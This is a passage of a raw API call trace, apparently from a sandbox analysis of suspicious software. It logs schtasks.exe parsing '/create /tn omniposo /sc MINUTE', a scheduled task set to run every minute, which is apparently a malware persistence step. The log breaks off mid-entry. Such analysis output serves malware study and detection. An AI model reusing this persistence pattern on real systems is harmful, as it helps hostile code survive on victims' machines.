lplpBuffer=0x99ba07f580*=0x1b20792aac0, puLen=0x99ba07f5e8) returned 1 [0115.881] lstrlenW (lpString="schtasks.exe") returned 12 [0115.881] lstrlenW (lpString="schtasks.exe") returned 12 [0115.881] lstrlenW (lpString=".EXE") returned 4 [0115.881] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0115.881] lstrlenW (lpString="schtasks.exe") returned 12 [0115.881] lstrlenW (lpString=".EXE") returned 4 [0115.882] _memicmp (_Buf1=0x1b207924ca0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.882] lstrlenW (lpString="schtasks") returned 8 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b2079291e0 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207929240 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b720 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b540 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b207924cc0 [0115.882] _memicmp (_Buf1=0x1b207924cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xa0) returned 0x1b2079238e0 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792bb40 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792bb70 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b900 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b207924ce0 [0115.882] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.882] GetProcessHeap () returned 0x1b207920000 [0115.882] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x200) returned 0x1b20792bbb0 [0115.882] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0115.883] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0115.883] GetProcessHeap () returned 0x1b207920000 [0115.883] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x30) returned 0x1b207923990 [0115.883] _vsnwprintf (in: _Buffer=0x1b2079238e0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x99ba07f568 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0115.883] GetProcessHeap () returned 0x1b207920000 [0115.883] GetProcessHeap () returned 0x1b207920000 [0115.883] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792a8e0) returned 1 [0115.883] GetProcessHeap () returned 0x1b207920000 [0115.883] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792a8e0) returned 0x776 [0115.883] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792a8e0) returned 1 [0115.883] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.884] GetThreadLocale () returned 0x409 [0115.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.884] lstrlenW (lpString="?") returned 1 [0115.884] GetThreadLocale () returned 0x409 [0115.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.884] lstrlenW (lpString="create") returned 6 [0115.884] GetThreadLocale () returned 0x409 [0115.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.884] lstrlenW (lpString="delete") returned 6 [0115.884] GetThreadLocale () returned 0x409 [0115.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.884] lstrlenW (lpString="query") returned 5 [0115.884] GetThreadLocale () returned 0x409 [0115.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.884] lstrlenW (lpString="change") returned 6 [0115.884] GetThreadLocale () returned 0x409 [0115.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.884] lstrlenW (lpString="run") returned 3 [0115.884] GetThreadLocale () returned 0x409 [0115.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.884] lstrlenW (lpString="end") returned 3 [0115.884] GetThreadLocale () returned 0x409 [0115.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.884] lstrlenW (lpString="showsid") returned 7 [0115.884] GetThreadLocale () returned 0x409 [0115.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.884] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.884] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.885] lstrlenW (lpString="/create") returned 7 [0115.885] lstrlenW (lpString="-/") returned 2 [0115.885] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.885] lstrlenW (lpString="?") returned 1 [0115.885] lstrlenW (lpString="?") returned 1 [0115.885] GetProcessHeap () returned 0x1b207920000 [0115.885] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b2079243c0 [0115.885] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.885] GetProcessHeap () returned 0x1b207920000 [0115.885] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xa) returned 0x1b2079243e0 [0115.885] lstrlenW (lpString="create") returned 6 [0115.885] GetProcessHeap () returned 0x1b207920000 [0115.885] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b207924400 [0115.885] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.885] GetProcessHeap () returned 0x1b207920000 [0115.885] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x14) returned 0x1b207924420 [0115.885] _vsnwprintf (in: _Buffer=0x1b2079243e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|?|") returned 3 [0115.885] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|create|") returned 8 [0115.885] lstrlenW (lpString="|?|") returned 3 [0115.885] lstrlenW (lpString="|create|") returned 8 [0115.885] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.885] lstrlenW (lpString="create") returned 6 [0115.885] lstrlenW (lpString="create") returned 6 [0115.885] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.885] GetProcessHeap () returned 0x1b207920000 [0115.885] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079243e0) returned 1 [0115.885] GetProcessHeap () returned 0x1b207920000 [0115.885] RtlReAllocateHeap (Heap=0x1b207920000, Flags=0xc, Ptr=0x1b2079243e0, Size=0x14) returned 0x1b207924730 [0115.885] lstrlenW (lpString="create") returned 6 [0115.885] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.886] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|create|") returned 8 [0115.886] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|create|") returned 8 [0115.886] lstrlenW (lpString="|create|") returned 8 [0115.886] lstrlenW (lpString="|create|") returned 8 [0115.886] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0115.886] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.886] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.886] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.886] lstrlenW (lpString="/tn") returned 3 [0115.886] lstrlenW (lpString="-/") returned 2 [0115.886] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.886] lstrlenW (lpString="?") returned 1 [0115.886] lstrlenW (lpString="?") returned 1 [0115.886] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.886] lstrlenW (lpString="tn") returned 2 [0115.886] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.886] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|?|") returned 3 [0115.886] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tn|") returned 4 [0115.886] lstrlenW (lpString="|?|") returned 3 [0115.886] lstrlenW (lpString="|tn|") returned 4 [0115.886] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.886] lstrlenW (lpString="create") returned 6 [0115.886] lstrlenW (lpString="create") returned 6 [0115.886] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.886] lstrlenW (lpString="tn") returned 2 [0115.886] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.886] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|create|") returned 8 [0115.887] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tn|") returned 4 [0115.887] lstrlenW (lpString="|create|") returned 8 [0115.887] lstrlenW (lpString="|tn|") returned 4 [0115.887] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0115.887] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.887] lstrlenW (lpString="delete") returned 6 [0115.887] lstrlenW (lpString="delete") returned 6 [0115.887] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.889] lstrlenW (lpString="tn") returned 2 [0115.889] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.889] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|delete|") returned 8 [0115.889] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tn|") returned 4 [0115.889] lstrlenW (lpString="|delete|") returned 8 [0115.889] lstrlenW (lpString="|tn|") returned 4 [0115.889] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0115.889] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.889] lstrlenW (lpString="query") returned 5 [0115.890] lstrlenW (lpString="query") returned 5 [0115.890] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.890] lstrlenW (lpString="tn") returned 2 [0115.890] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.890] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x8, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|query|") returned 7 [0115.890] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tn|") returned 4 [0115.890] lstrlenW (lpString="|query|") returned 7 [0115.890] lstrlenW (lpString="|tn|") returned 4 [0115.890] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0115.890] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.890] lstrlenW (lpString="change") returned 6 [0115.890] lstrlenW (lpString="change") returned 6 [0115.890] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.890] lstrlenW (lpString="tn") returned 2 [0115.890] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.890] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|change|") returned 8 [0115.890] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tn|") returned 4 [0115.890] lstrlenW (lpString="|change|") returned 8 [0115.890] lstrlenW (lpString="|tn|") returned 4 [0115.890] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0115.890] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.890] lstrlenW (lpString="run") returned 3 [0115.890] lstrlenW (lpString="run") returned 3 [0115.890] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.890] lstrlenW (lpString="tn") returned 2 [0115.890] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.890] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|run|") returned 5 [0115.891] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tn|") returned 4 [0115.891] lstrlenW (lpString="|run|") returned 5 [0115.891] lstrlenW (lpString="|tn|") returned 4 [0115.891] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0115.891] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.891] lstrlenW (lpString="end") returned 3 [0115.891] lstrlenW (lpString="end") returned 3 [0115.891] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.891] lstrlenW (lpString="tn") returned 2 [0115.891] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.891] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|end|") returned 5 [0115.891] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tn|") returned 4 [0115.891] lstrlenW (lpString="|end|") returned 5 [0115.891] lstrlenW (lpString="|tn|") returned 4 [0115.891] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0115.891] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.891] lstrlenW (lpString="showsid") returned 7 [0115.891] lstrlenW (lpString="showsid") returned 7 [0115.891] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.891] GetProcessHeap () returned 0x1b207920000 [0115.891] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924730) returned 1 [0115.891] GetProcessHeap () returned 0x1b207920000 [0115.891] RtlReAllocateHeap (Heap=0x1b207920000, Flags=0xc, Ptr=0x1b207924730, Size=0x16) returned 0x1b207924730 [0115.891] lstrlenW (lpString="tn") returned 2 [0115.891] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.891] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0xa, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|showsid|") returned 9 [0115.891] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|tn|") returned 4 [0115.892] lstrlenW (lpString="|showsid|") returned 9 [0115.892] lstrlenW (lpString="|tn|") returned 4 [0115.892] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] lstrlenW (lpString="/tn") returned 3 [0115.892] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] lstrlenW (lpString="/tn") returned 3 [0115.892] GetProcessHeap () returned 0x1b207920000 [0115.892] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x8) returned 0x1b2079243e0 [0115.892] GetProcessHeap () returned 0x1b207920000 [0115.892] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b420 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] lstrlenW (lpString="omniposo") returned 8 [0115.892] lstrlenW (lpString="-/") returned 2 [0115.892] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] lstrlenW (lpString="omniposo") returned 8 [0115.892] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.892] lstrlenW (lpString="omniposo") returned 8 [0115.892] GetProcessHeap () returned 0x1b207920000 [0115.892] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x12) returned 0x1b207924760 [0115.892] GetProcessHeap () returned 0x1b207920000 [0115.892] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b960 [0115.892] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.893] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.893] lstrlenW (lpString="/sc") returned 3 [0115.893] lstrlenW (lpString="-/") returned 2 [0115.893] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.893] lstrlenW (lpString="?") returned 1 [0115.893] lstrlenW (lpString="?") returned 1 [0115.893] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.893] lstrlenW (lpString="sc") returned 2 [0115.893] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.893] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|?|") returned 3 [0115.893] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|sc|") returned 4 [0115.893] lstrlenW (lpString="|?|") returned 3 [0115.893] lstrlenW (lpString="|sc|") returned 4 [0115.893] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.893] lstrlenW (lpString="create") returned 6 [0115.893] lstrlenW (lpString="create") returned 6 [0115.893] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.893] lstrlenW (lpString="sc") returned 2 [0115.893] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.893] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|create|") returned 8 [0115.893] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|sc|") returned 4 [0115.893] lstrlenW (lpString="|create|") returned 8 [0115.893] lstrlenW (lpString="|sc|") returned 4 [0115.893] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0115.893] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.893] lstrlenW (lpString="delete") returned 6 [0115.893] lstrlenW (lpString="delete") returned 6 [0115.893] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.894] lstrlenW (lpString="sc") returned 2 [0115.894] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.894] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|delete|") returned 8 [0115.894] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|sc|") returned 4 [0115.894] lstrlenW (lpString="|delete|") returned 8 [0115.894] lstrlenW (lpString="|sc|") returned 4 [0115.894] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0115.894] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.894] lstrlenW (lpString="query") returned 5 [0115.894] lstrlenW (lpString="query") returned 5 [0115.894] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.894] lstrlenW (lpString="sc") returned 2 [0115.894] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.894] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x8, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|query|") returned 7 [0115.894] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|sc|") returned 4 [0115.894] lstrlenW (lpString="|query|") returned 7 [0115.894] lstrlenW (lpString="|sc|") returned 4 [0115.894] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0115.894] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.894] lstrlenW (lpString="change") returned 6 [0115.894] lstrlenW (lpString="change") returned 6 [0115.894] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.894] lstrlenW (lpString="sc") returned 2 [0115.894] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.894] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|change|") returned 8 [0115.894] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|sc|") returned 4 [0115.895] lstrlenW (lpString="|change|") returned 8 [0115.895] lstrlenW (lpString="|sc|") returned 4 [0115.895] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0115.895] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.895] lstrlenW (lpString="run") returned 3 [0115.895] lstrlenW (lpString="run") returned 3 [0115.895] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.895] lstrlenW (lpString="sc") returned 2 [0115.895] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.895] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|run|") returned 5 [0115.895] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|sc|") returned 4 [0115.895] lstrlenW (lpString="|run|") returned 5 [0115.895] lstrlenW (lpString="|sc|") returned 4 [0115.895] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0115.895] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.895] lstrlenW (lpString="end") returned 3 [0115.895] lstrlenW (lpString="end") returned 3 [0115.895] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.895] lstrlenW (lpString="sc") returned 2 [0115.895] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.895] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|end|") returned 5 [0115.895] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|sc|") returned 4 [0115.895] lstrlenW (lpString="|end|") returned 5 [0115.895] lstrlenW (lpString="|sc|") returned 4 [0115.895] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0115.895] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.895] lstrlenW (lpString="showsid") returned 7 [0115.896] lstrlenW (lpString="showsid") returned 7 [0115.896] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.896] lstrlenW (lpString="sc") returned 2 [0115.896] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.896] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0xa, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|showsid|") returned 9 [0115.896] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|sc|") returned 4 [0115.896] lstrlenW (lpString="|showsid|") returned 9 [0115.896] lstrlenW (lpString="|sc|") returned 4 [0115.896] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0115.896] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.896] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.896] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.896] lstrlenW (lpString="/sc") returned 3 [0115.896] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0115.896] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.896] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.896] lstrlenW (lpString="/sc") returned 3 [0115.896] GetProcessHeap () returned 0x1b207920000 [0115.896] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x8) returned 0x1b207924780 [0115.896] GetProcessHeap () returned 0x1b207920000 [0115.896] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792bae0 [0115.896] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.896] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.896] lstrlenW (lpString="MINUTE") returned 6 [0115.896] lstrlenW (lpString="-/") returned 2 [0115.896] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0115.896] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.896] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.896] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.896] lstrlenW (lpString="MINUTE") returned 6 [0115.896] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0115.897] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.897] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.897] lstrlenW (lpString="MINUTE") returned 6 [0115.897] GetProcessHeap () returned 0x1b207920000 [0115.897] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xe) returned 0x1b2079247a0 [0115.897] GetProcessHeap () returned 0x1b207920000 [0115.897] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b570 [0115.897] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.897] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.897] lstrlenW (lpString="/mo") returned 3 [0115.897] lstrlenW (lpString="-/") returned 2 [0115.897] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.897] lstrlenW (lpString="?") returned 1 [0115.897] 